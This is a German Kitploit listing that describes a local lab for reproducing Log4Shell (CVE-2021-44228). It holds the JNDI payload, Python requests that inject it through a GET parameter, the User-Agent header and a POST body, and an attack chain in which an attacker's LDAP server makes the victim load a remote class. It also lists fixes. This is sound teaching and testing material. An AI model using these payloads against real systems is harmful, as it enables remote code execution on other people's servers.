Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
log4j2-vuln-lab — CVE-2021-44228 (Log4Shell) Schwachstellen-Reproduktionsumgebung | SpringBoot + Log4j2 2.14.1 | 3 Angriffsvektoren PoC-Verifizierung | Kitploit
Tools/GitHubGitHub/14free/log4j2-vuln-lab
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungPayload-EntwicklungLabs & Praxis
GitHub14free/log4j2-vuln-lab

log4j2-vuln-lab

CVE-2021-44228 (Log4Shell) Schwachstellen-Reproduktionsumgebung | SpringBoot + Log4j2 2.14.1 | 3 Angriffsvektoren PoC-Verifizierung

Repository anzeigen
vor 20h 20mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

⚠️ Haftungsausschluss: Dieses Projekt dient ausschließlich Sicherheitsstudien und technischer Forschung. Alle Schwachstellenumgebungen werden lokal aufgebaut und es wurden keine realen Ziele getestet. Bitte nicht für illegale Zwecke verwenden. Das Risiko der Nutzung dieses Projekts liegt beim Anwender.

Log4j2 Schwachstellen-Reproduktionslabor (CVE-2021-44228)

Schwachstellenübersicht

Log4j2 ist das am weitesten verbreitete Logging-Framework im Java-Ökosystem. Es verfügt über eine Lookup-Funktion, die das Einfügen dynamischer Inhalte in Logs mit der ${...}-Syntax ermöglicht. In Version 2.14.1 und darunter sendet Log4j2 automatisch eine JNDI-Anfrage an die angegebene Adresse, wenn ${jndi:...} im Loginhalt erscheint. Angreifer können dadurch Remote Code Execution (RCE) erreichen.

Diese Schwachstelle trägt die CVE-Nummer CVE-2021-44228, hat eine CVSS-Bewertung von 10.0 (Maximum), ist extrem einfach auszulösen, betrifft fast alle Java-Anwendungen, die Log4j2 verwenden, und die Ausnutzungskosten sind sehr gering.

Umgebungsaufbau

Voraussetzungen: JDK 8+, Maven, Python 3, requests-Bibliothek

Schritt 1: Schwachstellenlabor starten

Öffnen Sie das Projekt mit IDEA und führen Sie VulnApplication.java aus. Die folgende Ausgabe zeigt einen erfolgreichen Start:

root@kitploit:~
Tomcat started on port(s): 8080 (http)
Started VulnApplication in 1.1 seconds

Schritt 2: PoC-Skript ausführen

root@kitploit:~
cd exploit
pip install requests
python exploit.py

Schwachstellen-Reproduktion

Payload-Konstruktion

root@kitploit:~
${jndi:ldap://127.0.0.1:1389/EvilClass}

Angriffsvektor 1: GET-Parameter

Payload-Injektion über URL-Parameter, löst logger.info("User Login: {}", username) aus:

root@kitploit:~
r = requests.get(f"{target_url}/login", params={"username": payload}, timeout=5)

Angriffsvektor 2: User-Agent-Header

Payload-Injektion über HTTP-Header, löst logger.info("User-Agent: {}", headers) aus:

root@kitploit:~
r = requests.get(f"{target_url}/api/headers", headers={"User-Agent": payload}, timeout=5)

Angriffsvektor 3: POST-Anfragekörper

Payload-Injektion über den POST-Anfragekörper, löst logger.info("Data: {}", body) aus:

root@kitploit:~
r = requests.post(f"{target_url}/api/data", data=payload, timeout=5)

Reproduktionsergebnis

root@kitploit:~
[+] Verbindung empfangen! Von 127.0.0.1:51631
[+] Schwachstelle bestätigt! Log4j2 hat eine JNDI-Anfrage gesendet
[+] CVE-2021-44228 erfolgreich reproduziert

Der Listener empfängt eine TCP-Verbindung vom Labor, was bestätigt, dass Log4j2 ${jndi:...} geparst und eine LDAP-Anfrage gesendet hat. Die Schwachstelle ist nachgewiesen.

Schwachstellenprinzip

Lookup-Mechanismus

Die Lookup-Funktion von Log4j2 ermöglicht das Einfügen dynamischer Inhalte in Logs mit der ${...}-Syntax, z. B. ${env:PATH} zum Lesen von Umgebungsvariablen oder ${sys:user.dir} zum Lesen von Systemeigenschaften.

JNDI-Injektion

JNDI (Java Naming and Directory Interface) ist die Namens- und Verzeichnisschnittstelle von Java. Wenn man ihr eine Adresse gibt, sucht sie danach und gibt das Ergebnis zurück. Wenn das Ergebnis eine Java-Klasse ist, lädt und führt die JVM sie automatisch aus.

Vollständige Angriffskette

root@kitploit:~
① Angreifer gibt ein: ${jndi:ldap://Angreifer-IP:1389/EvilClass}
    ↓
② Website empfängt die Eingabe und protokolliert mit logger.info()
    ↓
③ Log4j2 parst den Loginhalt und findet ${jndi:ldap://...}
    ↓
④ Log4j2 sendet eine LDAP-Anfrage → Verbindung zum Angreifer-Server
    ↓
⑤ Der LDAP-Server des Angreifers antwortet: "Lade EvilClass.class von dieser Adresse herunter"
    ↓
⑥ Der Opfer-Server lädt die EvilClass-Klasse herunter und lädt sie
    ↓
⑦ Der static-Codeblock von EvilClass wird automatisch ausgeführt → RCE (Remote Code Execution)

Behebungsmaßnahmen

  1. Log4j2-Version aktualisieren: Upgrade auf 2.17.1 oder höher; diese Version deaktiviert die JNDI-Lookup-Funktion
  2. Lookup über Umgebungsvariable deaktivieren: -Dlog4j2.formatMsgNoLookups=true zu den Startparametern hinzufügen
  3. WAF-Blockierung: Regeln in der Web Application Firewall hinzufügen, um Anfragen mit ${jndi: zu blockieren

Projektstruktur

root@kitploit:~
log4j2-vuln-lab/
├── pom.xml                          # Maven-Konfiguration, legt die verwundbare Log4j2-Version 2.14.1 fest
├── exploit/
│   └── exploit.py                   # PoC-Ausnutzungsskript, 3 Angriffsvektoren + TCP-Listener-Verifizierung
└── src/main/
    ├── java/com/vuln/log4j/
    │   ├── VulnApplication.java     # SpringBoot-Startklasse
    │   └── controller/
    │       └── UserController.java  # 3 Schwachstellen-Injektionspunkte (GET-Parameter/UA-Header/POST-Körper)
    └── resources/
        ├── application.yml          # Portnummer + Log-Level-Konfiguration
        └── log4j2.xml               # Log4j2-Konfigurationsdatei
Tool herunterladen